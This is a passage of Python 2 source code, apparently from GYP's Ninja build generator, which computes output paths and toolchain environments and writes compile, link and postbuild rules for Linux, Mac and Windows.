would set for build steps.""" env = self.GetSortedXcodeEnv(additional_settings=additional_settings) if self.flavor == 'win': env = self.GetMsvsToolchainEnv( additional_settings=additional_settings) return env def GetMsvsToolchainEnv(self, additional_settings=None): """Returns the variables Visual Studio would set for build steps.""" return self.msvs_settings.GetVSMacroEnv('$!PRODUCT_DIR', config=self.config_name) def GetSortedXcodeEnv(self, additional_settings=None): """Returns the variables Xcode would set for build steps.""" assert self.abs_build_dir abs_build_dir = self.abs_build_dir return gyp.xcode_emulation.GetSortedXcodeEnv( self.xcode_settings, abs_build_dir, os.path.join(abs_build_dir, self.build_to_base), self.config_name, additional_settings) def GetSortedXcodePostbuildEnv(self): """Returns the variables Xcode would set for postbuild steps.""" postbuild_settings = {} # CHROMIUM_STRIP_SAVE_FILE is a chromium-specific hack. # TODO(thakis): It would be nice to have some general mechanism instead. strip_save_file = self.xcode_settings.GetPerTargetSetting( 'CHROMIUM_STRIP_SAVE_FILE') if strip_save_file: postbuild_settings['CHROMIUM_STRIP_SAVE_FILE'] = strip_save_file return self.GetSortedXcodeEnv(additional_settings=postbuild_settings) def AppendPostbuildVariable(self, variables, spec, output, binary, is_command_start=False): """Adds a 'postbuild' variable if there is a postbuild for |output|.""" postbuild = self.GetPostbuildCommand(spec, output, binary, is_command_start) if postbuild: variables.append(('postbuilds', postbuild)) def GetPostbuildCommand(self, spec, output, output_binary, is_command_start): """Returns a shell command that runs all the postbuilds, and removes |output| if any of them fails. If |is_command_start| is False, then the returned string will start with ' && '.""" if not self.xcode_settings or spec['type'] == 'none' or not output: return '' output = QuoteShellArgument(output, self.flavor) postbuilds = gyp.xcode_emulation.GetSpecPostbuildCommands(spec, quiet=True) if output_binary is not None: postbuilds = self.xcode_settings.AddImplicitPostbuilds( self.config_name, os.path.normpath(os.path.join(self.base_to_build, output)), QuoteShellArgument( os.path.normpath(os.path.join(self.base_to_build, output_binary)), self.flavor), postbuilds, quiet=True) if not postbuilds: return '' # Postbuilds expect to be run in the gyp file's directory, so insert an # implicit postbuild to cd to there. postbuilds.insert(0, gyp.common.EncodePOSIXShellList( ['cd', self.build_to_base])) env = self.ComputeExportEnvString(self.GetSortedXcodePostbuildEnv()) # G will be non-null if any postbuild fails. Run all postbuilds in a # subshell. commands = env + ' (' + \ ' && '.join([ninja_syntax.escape(command) for command in postbuilds]) command_string = (commands + '); G=$$?; ' # Remove the final output if any postbuild failed. '((exit $$G) || rm -rf %s) ' % output + '&& exit $$G)') if is_command_start: return '(' + command_string + ' && ' else: return '$ && (' + command_string def ComputeExportEnvString(self, env): """Given an environment, returns a string looking like 'export FOO=foo; export BAR="${FOO} bar;' that exports |env| to the shell.""" export_str = [] for k, v in env: export_str.append('export %s=%s;' % (k, ninja_syntax.escape(gyp.common.EncodePOSIXShellArgument(v)))) return ' '.join(export_str) def ComputeMacBundleOutput(self): """Return the 'output' (full output path) to a bundle output directory.""" assert self.is_mac_bundle path = generator_default_variables['PRODUCT_DIR'] return self.ExpandSpecial( os.path.join(path, self.xcode_settings.GetWrapperName())) def ComputeOutputFileName(self, spec, type=None): """Compute the filename of the final output for the current target.""" if not type: type = spec['type'] default_variables = copy.copy(generator_default_variables) CalculateVariables(default_variables, {'flavor': self.flavor}) # Compute filename prefix: the product prefix, or a default for # the product type. DEFAULT_PREFIX = { 'loadable_module': default_variables['SHARED_LIB_PREFIX'], 'shared_library': default_variables['SHARED_LIB_PREFIX'], 'static_library': default_variables['STATIC_LIB_PREFIX'], 'executable': default_variables['EXECUTABLE_PREFIX'], } prefix = spec.get('product_prefix', DEFAULT_PREFIX.get(type, '')) # Compute filename extension: the product extension, or a default # for the product type. DEFAULT_EXTENSION = { 'loadable_module': default_variables['SHARED_LIB_SUFFIX'], 'shared_library': default_variables['SHARED_LIB_SUFFIX'], 'static_library': default_variables['STATIC_LIB_SUFFIX'], 'executable': default_variables['EXECUTABLE_SUFFIX'], } extension = spec.get('product_extension') if extension: extension = '.' + extension else: extension = DEFAULT_EXTENSION.get(type, '') if 'product_name' in spec: # If we were given an explicit name, use that. target = spec['product_name'] else: # Otherwise, derive a name from the target name. target = spec['target_name'] if prefix == 'lib': # Snip out an extra 'lib' from libs if appropriate. target = StripPrefix(target, 'lib') if type in ('static_library', 'loadable_module', 'shared_library', 'executable'): return '%s%s%s' % (prefix, target, extension) elif type == 'none': return '%s.stamp' % target else: raise Exception('Unhandled output type %s' % type) def ComputeOutput(self, spec, arch=None): """Compute the path for the final output of the spec.""" type = spec['type'] if self.flavor == 'win': override = self.msvs_settings.GetOutputName(self.config_name, self.ExpandSpecial) if override: return override if arch is None and self.flavor == 'mac' and type in ( 'static_library', 'executable', 'shared_library', 'loadable_module'): filename = self.xcode_settings.GetExecutablePath() else: filename = self.ComputeOutputFileName(spec, type) if arch is None and 'product_dir' in spec: path = os.path.join(spec['product_dir'], filename) return self.ExpandSpecial(path) # Some products go into the output root, libraries go into shared library # dir, and everything else goes into the normal place. type_in_output_root = ['executable', 'loadable_module'] if self.flavor == 'mac' and self.toolset == 'target': type_in_output_root += ['shared_library', 'static_library'] elif self.flavor == 'win' and self.toolset == 'target': type_in_output_root += ['shared_library'] if arch is not None: # Make sure partial executables don't end up in a bundle or the regular # output directory. archdir = 'arch' if self.toolset != 'target': archdir = os.path.join('arch', '%s' % self.toolset) return os.path.join(archdir, AddArch(filename, arch)) elif type in type_in_output_root or self.is_standalone_static_library: return filename elif type == 'shared_library': libdir = 'lib' if self.toolset != 'target': libdir = os.path.join('lib', '%s' % self.toolset) return os.path.join(libdir, filename) else: return self.GypPathToUniqueOutput(filename, qualified=False) def WriteVariableList(self, ninja_file, var, values): assert not isinstance(values, str) if values is None: values = [] ninja_file.variable(var, ' '.join(values)) def WriteNewNinjaRule(self, name, args, description, is_cygwin, env): """Write out a new ninja "rule" statement for a given command. Returns the name of the new rule, and a copy of |args| with variables expanded.""" if self.flavor == 'win': args = [self.msvs_settings.ConvertVSMacros( arg, self.base_to_build, config=self.config_name) for arg in args] description = self.msvs_settings.ConvertVSMacros( description, config=self.config_name) elif self.flavor == 'mac': # |env| is an empty list on non-mac. args = [gyp.xcode_emulation.ExpandEnvVars(arg, env) for arg in args] description = gyp.xcode_emulation.ExpandEnvVars(description, env) # TODO: we shouldn't need to qualify names; we do it because # currently the ninja rule namespace is global, but it really # should be scoped to the subninja. rule_name = self.name if self.toolset == 'target': rule_name += '.' + self.toolset rule_name += '.' + name rule_name = re.sub('[^a-zA-Z0-9_]', '_', rule_name) # Remove variable references, but not if they refer to the magic rule # variables. This is not quite right, as it also protects these for # actions, not just for rules where they are valid. Good enough. protect = [ '${root}', '${dirname}', '${source}', '${ext}', '${name}' ] protect = '(?!' + '|'.join(map(re.escape, protect)) + ')' description = re.sub(protect + r'\$', '_', description) # gyp dictates that commands are run from the base directory. # cd into the directory before running, and adjust paths in # the arguments to point to the proper locations. rspfile = None rspfile_content = None args = [self.ExpandSpecial(arg, self.base_to_build) for arg in args] if self.flavor == 'win': rspfile = rule_name + '.$unique_name.rsp' # The cygwin case handles this inside the bash sub-shell. run_in = '' if is_cygwin else ' ' + self.build_to_base if is_cygwin: rspfile_content = self.msvs_settings.BuildCygwinBashCommandLine( args, self.build_to_base) else: rspfile_content = gyp.msvs_emulation.EncodeRspFileList(args) command = ('%s gyp-win-tool action-wrapper $arch ' % sys.executable + rspfile + run_in) else: env = self.ComputeExportEnvString(env) command = gyp.common.EncodePOSIXShellList(args) command = 'cd %s; ' % self.build_to_base + env + command # GYP rules/actions express being no-ops by not touching their outputs. # Avoid executing downstream dependencies in this case by specifying # restat=1 to ninja. self.ninja.rule(rule_name, command, description, restat=True, rspfile=rspfile, rspfile_content=rspfile_content) self.ninja.newline() return rule_name, args def CalculateVariables(default_variables, params): """Calculate additional variables for use in the build (called by gyp).""" global generator_additional_non_configuration_keys global generator_additional_path_sections flavor = gyp.common.GetFlavor(params) if flavor == 'mac': default_variables.setdefault('OS', 'mac') default_variables.setdefault('SHARED_LIB_SUFFIX', '.dylib') default_variables.setdefault('SHARED_LIB_DIR', generator_default_variables['PRODUCT_DIR']) default_variables.setdefault('LIB_DIR', generator_default_variables['PRODUCT_DIR']) # Copy additional generator configuration data from Xcode, which is shared # by the Mac Ninja generator. import gyp.generator.xcode as xcode_generator generator_additional_non_configuration_keys = getattr(xcode_generator, 'generator_additional_non_configuration_keys', []) generator_additional_path_sections = getattr(xcode_generator, 'generator_additional_path_sections', []) global generator_extra_sources_for_rules generator_extra_sources_for_rules = getattr(xcode_generator, 'generator_extra_sources_for_rules', []) elif flavor == 'win': default_variables.setdefault('OS', 'win') default_variables['EXECUTABLE_SUFFIX'] = '.exe' default_variables['STATIC_LIB_PREFIX'] = '' default_variables['STATIC_LIB_SUFFIX'] = '.lib' default_variables['SHARED_LIB_PREFIX'] = '' default_variables['SHARED_LIB_SUFFIX'] = '.dll' # Copy additional generator configuration data from VS, which is shared # by the Windows Ninja generator. import gyp.generator.msvs as msvs_generator generator_additional_non_configuration_keys = getattr(msvs_generator, 'generator_additional_non_configuration_keys', []) generator_additional_path_sections = getattr(msvs_generator, 'generator_additional_path_sections', []) gyp.msvs_emulation.CalculateCommonVariables(default_variables, params) else: operating_system = flavor if flavor == 'android': operating_system = 'linux' # Keep this legacy behavior for now. default_variables.setdefault('OS', operating_system) default_variables.setdefault('SHARED_LIB_SUFFIX', '.so') default_variables.setdefault('SHARED_LIB_DIR', os.path.join('$!PRODUCT_DIR', 'lib')) default_variables.setdefault('LIB_DIR', os.path.join('$!PRODUCT_DIR', 'obj')) def ComputeOutputDir(params): """Returns the path from the toplevel_dir to the build output directory.""" # generator_dir: relative path from pwd to where make puts build files. # Makes migrating from make to ninja easier, ninja doesn't put anything here. generator_dir = os.path.relpath(params['options'].generator_output or '.') # output_dir: relative path from generator_dir to the build directory. output_dir = params.get('generator_flags', {}).get('output_dir', 'out') # Relative path from source root to our output files. e.g. "out" return os.path.normpath(os.path.join(generator_dir, output_dir)) def CalculateGeneratorInputInfo(params): """Called by __init__ to initialize generator values based on params.""" # E.g. "out/gypfiles" toplevel = params['options'].toplevel_dir qualified_out_dir = os.path.normpath(os.path.join( toplevel, ComputeOutputDir(params), 'gypfiles')) global generator_filelist_paths generator_filelist_paths = { 'toplevel': toplevel, 'qualified_out_dir': qualified_out_dir, } def OpenOutput(path, mode='w'): """Open |path| for writing, creating directories if necessary.""" gyp.common.EnsureDirExists(path) return open(path, mode) def CommandWithWrapper(cmd, wrappers, prog): wrapper = wrappers.get(cmd, '') if wrapper: return wrapper + ' ' + prog return prog def GetDefaultConcurrentLinks(): """Returns a best-guess for a number of concurrent links.""" if sys.platform in ('win32', 'cygwin'): import ctypes class MEMORYSTATUSEX(ctypes.Structure): _fields_ = [ ("dwLength", ctypes.c_ulong), ("dwMemoryLoad", ctypes.c_ulong), ("ullTotalPhys", ctypes.c_ulonglong), ("ullAvailPhys", ctypes.c_ulonglong), ("ullTotalPageFile", ctypes.c_ulonglong), ("ullAvailPageFile", ctypes.c_ulonglong), ("ullTotalVirtual", ctypes.c_ulonglong), ("ullAvailVirtual", ctypes.c_ulonglong), ("sullAvailExtendedVirtual", ctypes.c_ulonglong), ] stat = MEMORYSTATUSEX() stat.dwLength = ctypes.sizeof(stat) ctypes.windll.kernel32.GlobalMemoryStatusEx(ctypes.byref(stat)) mem_limit = max(1, stat.ullTotalPhys / (4 * (2 ** 30))) # total / 4GB hard_cap = max(1, int(os.getenv('GYP_LINK_CONCURRENCY_MAX', 2**32))) return min(mem_limit, hard_cap) elif sys.platform.startswith('linux'): if os.path.exists("/proc/meminfo"): with open("/proc/meminfo") as meminfo: memtotal_re = re.compile(r'^MemTotal:\s*(\d*)\s*kB') for line in meminfo: match = memtotal_re.match(line) if not match: continue # Allow 8Gb per link on Linux because Gold is quite memory hungry return max(1, int(match.group(1)) / (8 * (2 ** 20))) return 1 elif sys.platform == 'darwin': try: avail_bytes = int(subprocess.check_output(['sysctl', '-n', 'hw.memsize'])) # A static library debug build of Chromium's unit_tests takes ~2.7GB, so # 4GB per ld process allows for some more bloat. return max(1, avail_bytes / (4 * (2 ** 30))) # total / 4GB except: return 1 else: # TODO(scottmg): Implement this for other platforms. return 1 def _GetWinLinkRuleNameSuffix(embed_manifest): """Returns the suffix used to select an appropriate linking rule depending on whether the manifest embedding is enabled.""" return '_embed' if embed_manifest else '' def _AddWinLinkRules(master_ninja, embed_manifest): """Adds link rules for Windows platform to |master_ninja|.""" def FullLinkCommand(ldcmd, out, binary_type): resource_name = { 'exe': '1', 'dll': '2', }[binary_type] return '%(python)s gyp-win-tool link-with-manifests $arch %(embed)s ' \ '%(out)s "%(ldcmd)s" %(resname)s $mt $rc "$intermediatemanifest" ' \ '$manifests' % { 'python': sys.executable, 'out': out, 'ldcmd': ldcmd, 'resname': resource_name, 'embed': embed_manifest } rule_name_suffix = _GetWinLinkRuleNameSuffix(embed_manifest) use_separate_mspdbsrv = ( int(os.environ.get('GYP_USE_SEPARATE_MSPDBSRV', '0')) != 0) dlldesc = 'LINK%s(DLL) $binary' % rule_name_suffix.upper() dllcmd = ('%s gyp-win-tool link-wrapper $arch %s ' '$ld /nologo $implibflag /DLL /OUT:$binary ' '@$binary.rsp' % (sys.executable, use_separate_mspdbsrv)) dllcmd = FullLinkCommand(dllcmd, '$binary', 'dll') master_ninja.rule('solink' + rule_name_suffix, description=dlldesc, command=dllcmd, rspfile='$binary.rsp', rspfile_content='$libs $in_newline $ldflags', restat=True, pool='link_pool') master_ninja.rule('solink_module' + rule_name_suffix, description=dlldesc, command=dllcmd, rspfile='$binary.rsp', rspfile_content='$libs $in_newline $ldflags', restat=True, pool='link_pool') # Note that ldflags goes at the end so that it has the option of # overriding default settings earlier in the command line. exe_cmd = ('%s gyp-win-tool link-wrapper $arch %s ' '$ld /nologo /OUT:$binary @$binary.rsp' % (sys.executable, use_separate_mspdbsrv)) exe_cmd = FullLinkCommand(exe_cmd, '$binary', 'exe') master_ninja.rule('link' + rule_name_suffix, description='LINK%s $binary' % rule_name_suffix.upper(), command=exe_cmd, rspfile='$binary.rsp', rspfile_content='$in_newline $libs $ldflags', pool='link_pool') def GenerateOutputForConfig(target_list, target_dicts, data, params, config_name): options = params['options'] flavor = gyp.common.GetFlavor(params) generator_flags = params.get('generator_flags', {}) # build_dir: relative path from source root to our output files. # e.g. "out/Debug" build_dir = os.path.normpath( os.path.join(ComputeOutputDir(params), config_name)) toplevel_build = os.path.join(options.toplevel_dir, build_dir) master_ninja_file = OpenOutput(os.path.join(toplevel_build, 'build.ninja')) master_ninja = ninja_syntax.Writer(master_ninja_file, width=120) # Put build-time support tools in out/{config_name}. gyp.common.CopyTool(flavor, toplevel_build) # Grab make settings for CC/CXX. # The rules are # - The priority from low to high is gcc/g++, the 'make_global_settings' in # gyp, the environment variable. # - If there is no 'make_global_settings' for CC.host/CXX.host or # 'CC_host'/'CXX_host' enviroment variable, cc_host/cxx_host should be set # to cc/cxx. if flavor == 'win': # Overridden by local arch choice in the use_deps case. # Chromium's ffmpeg c99conv.py currently looks for a 'cc =' line in # build.ninja so needs something valid here. http://crbug.com/233985 cc = 'cl.exe' cxx = 'cl.exe' ld = 'link.exe' ld_host = '$ld' else: cc = 'cc' cxx = 'c++' ld = '$cc' ldxx = '$cxx' ld_host = '$cc_host' ldxx_host = '$cxx_host' cc_host = None cxx_host = None cc_host_global_setting = None cxx_host_global_setting = None clang_cl = None build_file, _, _ = gyp.common.ParseQualifiedTarget(target_list[0]) make_global_settings = data[build_file].get('make_global_settings', []) build_to_root = gyp.common.InvertRelativePath(build_dir, options.toplevel_dir) wrappers = {} for key, value in make_global_settings: if key == 'CC': cc = os.path.join(build_to_root, value) if cc.endswith('clang-cl'): clang_cl = cc if key == 'CXX': cxx = os.path.join(build_to_root, value) if key == 'CC.host': cc_host = os.path.join(build_to_root, value) cc_host_global_setting = value if key == 'CXX.host': cxx_host = os.path.join(build_to_root, value) cxx_host_global_setting = value if key.endswith('_wrapper'): wrappers[key[:-len('_wrapper')]] = os.path.join(build_to_root, value) # Support wrappers from environment variables too. for key, value in os.environ.iteritems(): if key.lower().endswith('_wrapper'): key_prefix = key[:-len('_wrapper')] key_prefix = re.sub(r'\.HOST$', '.host', key_prefix) wrappers[key_prefix] = os.path.join(build_to_root, value) if flavor == 'win': cl_paths = gyp.msvs_emulation.GenerateEnvironmentFiles( toplevel_build, generator_flags, OpenOutput) for arch, path in cl_paths.iteritems(): if clang_cl: # If we have selected clang-cl, use that instead. path = clang_cl command = CommandWithWrapper('CC', wrappers, QuoteShellArgument(path, 'win')) if clang_cl: # Use clang-cl to cross-compile for x86 or x86_64. command += (' -m32' if arch == 'x86' else ' -m64') master_ninja.variable('cl_' + arch, command) cc = GetEnvironFallback(['CC_target', 'CC'], cc) master_ninja.variable('cc', CommandWithWrapper('CC', wrappers, cc)) cxx = GetEnvironFallback(['CXX_target', 'CXX'], cxx) master_ninja.variable('cxx', CommandWithWrapper('CXX', wrappers, cxx)) if flavor == 'win': master_ninja.variable('ld', ld) master_ninja.variable('idl', 'midl.exe') master_ninja.variable('ar', 'lib.exe') master_ninja.variable('rc', 'rc.exe') master_ninja.variable('asm', 'ml.exe') master_ninja.variable('mt', 'mt.exe') else: master_ninja.variable('ld', CommandWithWrapper('LINK', wrappers, ld)) master_ninja.variable('ldxx', CommandWithWrapper('LINK', wrappers, ldxx)) master_ninja.variable('ar', GetEnvironFallback(['AR_target', 'AR'], 'ar')) if generator_supports_multiple_toolsets: if not cc_host: cc_host = cc if not cxx_host: cxx_host = cxx master_ninja.variable('ar_host', GetEnvironFallback(['AR_host'], 'ar')) cc_host = GetEnvironFallback(['CC_host'], cc_host) cxx_host = GetEnvironFallback(['CXX_host'], cxx_host) # The environment variable could be used in 'make_global_settings', like # ['CC.host', '$(CC)'] or ['CXX.host', '$(CXX)'], transform them here. if '$(CC)' in cc_host and cc_host_global_setting: cc_host = cc_host_global_setting.replace('$(CC)', cc) if '$(CXX)' in cxx_host and cxx_host_global_setting: cxx_host = cxx_host_global_setting.replace('$(CXX)', cxx) master_ninja.variable('cc_host', CommandWithWrapper('CC.host', wrappers, cc_host)) master_ninja.variable('cxx_host', CommandWithWrapper('CXX.host', wrappers, cxx_host)) if flavor == 'win': master_ninja.variable('ld_host', ld_host) else: master_ninja.variable('ld_host', CommandWithWrapper( 'LINK', wrappers, ld_host)) master_ninja.variable('ldxx_host', CommandWithWrapper( 'LINK', wrappers, ldxx_host)) master_ninja.newline() master_ninja.pool('link_pool', depth=GetDefaultConcurrentLinks()) master_ninja.newline() deps = 'msvc' if flavor == 'win' else 'gcc' if flavor != 'win': master_ninja.rule( 'cc', description='CC $out', command=('$cc -MMD -MF $out.d $defines $includes $cflags $cflags_c ' '$cflags_pch_c -c $in -o $out'), depfile='$out.d', deps=deps) master_ninja.rule( 'cc_s', description='CC $out', command=('$cc $defines $includes $cflags $cflags_c ' '$cflags_pch_c -c $in -o $out')) master_ninja.rule( 'cxx', description='CXX $out', command=('$cxx -MMD -MF $out.d $defines $includes $cflags $cflags_cc ' '$cflags_pch_cc -c $in -o $out'), depfile='$out.d', deps=deps) else: # TODO(scottmg) Separate pdb names is a test to see if it works around # http://crbug.com/142362. It seems there's a race between the creation of # the .pdb by the precompiled header step for .cc and the compilation of # .c files. This should be handled by mspdbsrv, but rarely errors out with # c1xx : fatal error C1033: cannot open program database # By making the rules target separate pdb files this might be avoided. cc_command = ('ninja -t msvc -e $arch ' + '-- ' '$cc /nologo /showIncludes /FC ' '@$out.rsp /c $in /Fo$out /Fd$pdbname_c ') cxx_command = ('ninja -t msvc -e $arch ' + '-- ' '$cxx /nologo /showIncludes /FC ' '@$out.rsp /c $in /Fo$out /Fd$pdbname_cc ') master_ninja.rule( 'cc', description='CC $out', command=cc_command, rspfile='$out.rsp', rspfile_content='$defines $includes $cflags $cflags_c', deps=deps) master_ninja.rule( 'cxx', description='CXX $out', command=cxx_command, rspfile='$out.rsp', rspfile_content='$defines $includes $cflags $cflags_cc', deps=deps) master_ninja.rule( 'idl', description='IDL $in', command=('%s gyp-win-tool midl-wrapper $arch $outdir ' '$tlb $h $dlldata $iid $proxy $in ' '$idlflags' % sys.executable)) master_ninja.rule( 'rc', description='RC $in', # Note: $in must be last otherwise rc.exe complains. command=('%s gyp-win-tool rc-wrapper ' '$arch $rc $defines $resource_includes $rcflags /fo$out $in' % sys.executable)) master_ninja.rule( 'asm', description='ASM $out', command=('%s gyp-win-tool asm-wrapper ' '$arch $asm $defines $includes $asmflags /c /Fo $out $in' % sys.executable)) if flavor != 'mac' and flavor != 'win': master_ninja.rule( 'alink', description='AR $out', command='rm -f $out && $ar rcs $out $in') master_ninja.rule( 'alink_thin', description='AR $out', command='rm -f $out && $ar rcsT $out $in') # This allows targets that only need to depend on $lib's API to declare an # order-only dependency on $lib.TOC and avoid relinking such downstream # dependencies when $lib changes only in non-public ways. # The resulting string leaves an uninterpolated %{suffix} which # is used in the final substitution below. mtime_preserving_solink_base = ( 'if [ ! -e $lib -o ! -e $lib.TOC ]; then ' '%(solink)s && %(extract_toc)s > $lib.TOC; else ' '%(solink)s && %(extract_toc)s > $lib.tmp && ' 'if ! cmp -s $lib.tmp $lib.TOC; then mv $lib.tmp $lib.TOC ; ' 'fi; fi' % { 'solink': '$ld -shared $ldflags -o $lib -Wl,-soname=$soname %(suffix)s', 'extract_toc': ('{ readelf -d $lib | grep SONAME ; ' 'nm -gD -f p $lib | cut -f1-2 -d\' \'; }')}) master_ninja.rule( 'solink', description='SOLINK $lib', restat=True, command=mtime_preserving_solink_base % {'suffix': '@$link_file_list'}, rspfile='$link_file_list', rspfile_content= '-Wl,--whole-archive $in $solibs -Wl,--no-whole-archive $libs', pool='link_pool') master_ninja.rule( 'solink_module', description='SOLINK(module) $lib', restat=True, command=mtime_preserving_solink_base % {'suffix': '@$link_file_list'}, rspfile='$link_file_list', rspfile_content='-Wl,--start-group $in $solibs -Wl,--end-group $libs', pool='link_pool') master_ninja.rule( 'link', description='LINK $out', command=('$ld $ldflags -o $out ' '-Wl,--start-group $in $solibs -Wl,--end-group $libs'), pool='link_pool') elif flavor == 'win': master_ninja.rule( 'alink', description='LIB $out', command=('%s gyp-win-tool link-wrapper $arch False ' '$ar /nologo /ignore:4221 /OUT:$out @$out.rsp' % sys.executable), rspfile='$out.rsp', rspfile_content='$in_newline $libflags') _AddWinLinkRules(master_ninja, embed_manifest=True) _AddWinLinkRules(master_ninja, embed_manifest=False) else: master_ninja.rule( 'objc', description='OBJC $out', command=('$cc -MMD -MF $out.d $defines $includes $cflags $cflags_objc ' '$cflags_pch_objc -c $in -o $out'), depfile='$out.d', deps=deps) master_ninja.rule( 'objcxx', description='OBJCXX $out', command=('$cxx -MMD -MF $out.d $defines $includes $cflags $cflags_objcc ' '$cflags_pch_objcc -c $in -o $out'), depfile='$out.d', deps=deps) master_ninja.rule( 'alink', description='LIBTOOL-STATIC $out, POSTBUILDS', command='rm -f $out && ' './gyp-mac-tool filter-libtool libtool $libtool_flags ' '-static -o $out $in' '$postbuilds') master_ninja.rule( 'lipo', description='LIPO $out, POSTBUILDS', command='rm -f $out && lipo -create $in -output $out$postbuilds') # Record the public interface of $lib in $lib.TOC. See the corresponding # comment in the posix section above for details. solink_base = '$ld %(type)s $ldflags -o $lib %(suffix)s' mtime_preserving_solink_base = ( 'if [ ! -e $lib -o ! -e $lib.TOC ] || ' # Always force dependent targets to relink if this library # reexports something. Handling this correctly would require # recursive TOC dumping but this is rare in practice, so punt. 'otool -l $lib | grep -q LC_REEXPORT_DYLIB ; then ' '%(solink)s && %(extract_toc)s > $lib.TOC; ' 'else ' '%(solink)s && %(extract_toc)s > $lib.tmp && ' 'if ! cmp -s $lib.tmp $lib.TOC; then ' 'mv $lib.tmp $lib.TOC ; ' 'fi; ' 'fi' % { 'solink': solink_base, 'extract_toc': '{ otool -l $lib | grep LC_ID_DYLIB -A 5; ' 'nm -gP $lib | cut -f1-2 -d\' \' | grep -v U$$; true; }'}) solink_suffix = '@$link_file_list$postbuilds' master_ninja.rule( 'solink', description='SOLINK $lib, POSTBUILDS', restat=True, command=mtime_preserving_solink_base % {'suffix': solink_suffix, 'type': '-shared'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'solink_notoc', description='SOLINK $lib, POSTBUILDS', restat=True, command=solink_base % {'suffix':solink_suffix, 'type': '-shared'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'solink_module', description='SOLINK(module) $lib, POSTBUILDS', restat=True, command=mtime_preserving_solink_base % {'suffix': solink_suffix, 'type': '-bundle'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'solink_module_notoc', description='SOLINK(module) $lib, POSTBUILDS', restat=True, command=solink_base % {'suffix': solink_suffix, 'type': '-bundle'}, rspfile='$link_file_list', rspfile_content='$in $solibs $libs', pool='link_pool') master_ninja.rule( 'link', description='LINK $out, POSTBUILDS', command=('$ld $ldflags -o $out ' '$in $solibs $libs$postbuilds'), pool='link_pool') master_ninja.rule( 'preprocess_infoplist', description='PREPROCESS INFOPLIST $out', command=('$cc -E -P -Wno-trigraphs -x c $defines $in -o $out && ' 'plutil -convert xml1 $out $out')) master_ninja.rule( 'copy_infoplist', description='COPY INFOPLIST $in', command='$env ./gyp-mac-tool copy-info-plist $in $out $keys') master_ninja.rule( 'mac_tool', description='MACTOOL $mactool_cmd $in', command='$env ./gyp-mac-tool $mactool_cmd $in $out') master_ninja.rule( 'package_framework', description='PACKAGE FRAMEWORK $out, POSTBUILDS', command='./gyp-mac-tool package-framework $out $version$postbuilds ' '&& touch $out') if flavor == 'win': master_ninja.rule( 'stamp', description='STAMP $out', command='%s gyp-win-tool stamp $out' % sys.executable) master_ninja.rule( 'copy', description='COPY $in $out', command='%s gyp-win-tool recursive-mirror $in $out' % sys.executable) else: master_ninja.rule( 'stamp', description='STAMP $out', command='${postbuilds}touch $out') master_ninja.rule( 'copy', description='COPY $in $out', command='ln -f $in $out 2>/dev/null || (rm -rf $out && cp -af $in $out)') master_ninja.newline() all_targets = set() for build_file in params['build_files']: for target in gyp.common.AllTargets(target_list, target_dicts, os.path.normpath(build_file)): all_targets.add(target) all_outputs = set() # target_outputs is a map from qualified target name to a Target object. target_outputs = {} # target_short_names is a map from target short name to a list of Target # objects. target_short_names = {} for qualified_target in target_list: # qualified_target is like: third_party/icu/icu.gyp:icui18n#target build_file, name, toolset = \ gyp.common.ParseQualifiedTarget(qualified_target) this_make_global_settings = data[build_file].get('make_global_settings', []) assert make_global_settings == this_make_global_settings, ( "make_global_settings needs to be the same for all targets. %s vs. %s" % (this_make_global_settings, make_global_settings)) spec = target_dicts[qualified_target] if flavor == 'mac': gyp.xcode_emulation.MergeGlobalXcodeSettingsToSpec(data[build_file], spec) build_file = gyp.common.RelativePath(build_file, options.toplevel_dir) base_path = os.path.dirname(build_file) obj = 'obj' if toolset != 'target': obj += '.' + toolset output_file = os.path.join(obj, base_path, name + '.ninja') ninja_output = StringIO() writer = NinjaWriter(qualified_target, target_outputs, base_path, build_dir, ninja_output, toplevel_build, output_file, flavor, toplevel_dir=options.toplevel_dir) target = writer.WriteSpec(spec, config_name, generator_flags) if ninja_output.tell() > 0: # Only create files for ninja files that actually have contents. with OpenOutput(os.path.join(toplevel_build, output_file)) as ninja_file: ninja_file.write(ninja_output.getvalue()) ninja_output.close() master_ninja.subninja(output_file) if target: if name != target.FinalOutput() and spec['toolset'] == 'target': target_short_names.setdefault(name, []).append(target) target_outputs[qualified_target] = target if qualified_target in all_targets: all_outputs.add(target.FinalOutput()) if target_short_names: # Write a short name to build this target. This benefits both the # "build chrome" case as well as the gyp tests, which expect to be # able to run actions and build libraries by their short name. master_ninja.newline() master_ninja.comment('Short names for targets.') for short_name in target_short_names: master_ninja.build(short_name, 'phony', [x.FinalOutput() for x in target_short_names[short_name]]) if all_outputs: master_ninja.newline() master_ninja.build('all', 'phony', list(all_outputs)) master_ninja.default(generator_flags.get('default_target', 'all')) master_ninja_file.close() def PerformBuild(data, configurations, params): options = params['options'] for config in configurations: builddir = os.path.join(options.toplevel_dir, 'out', config) arguments = ['ninja', '-C', builddir] print 'Building [%s]: %s' % (config, arguments) subprocess.check_call(arguments) def CallGenerateOutputForConfig(arglist): # Ignore the interrupt signal so that the parent process catches it and # kills all multiprocessing children. signal.signal(signal.SIGINT, signal.SIG_IGN) (target_list, target_dicts, data, params, config_name) = arglist GenerateOutputForConfig(target_list, target_dicts, data, params, config_name) def GenerateOutput(target_list, target_dicts, data, params): # Update target_dicts for iOS device builds. target_dicts = gyp.xcode_emulation.CloneConfigurationForDeviceAndEmulator( target_dicts) user_config = params.get('generator_flags', {}).get('config', None) if gyp.common.GetFlavor(params) == 'win': target_list, target_dicts = MSVSUtil.ShardTargets(target_list, target_dicts) target_list, target_dicts = MSVSUtil.InsertLargePdbShims( target_list, target_dicts, generator_default_variables) if user_config: GenerateOutputForConfig(target_list, target_dicts, data, params, user_config) else: config_names = target_dicts[target_list[0]]['configurations'].keys() if params['parallel']: try: pool = multiprocessing.Pool(len(config_names)) arglists = [] for config_name in config_names: arglists.append( (target_list, target_dicts, data, params, config_name)) pool.map(CallGenerateOutputForConfig, arglists) except KeyboardInterrupt, e: pool.terminate() raise e else: for config_name in config_names: GenerateOutputForConfig(target_list, target_dicts, data, params, config_name)
isc
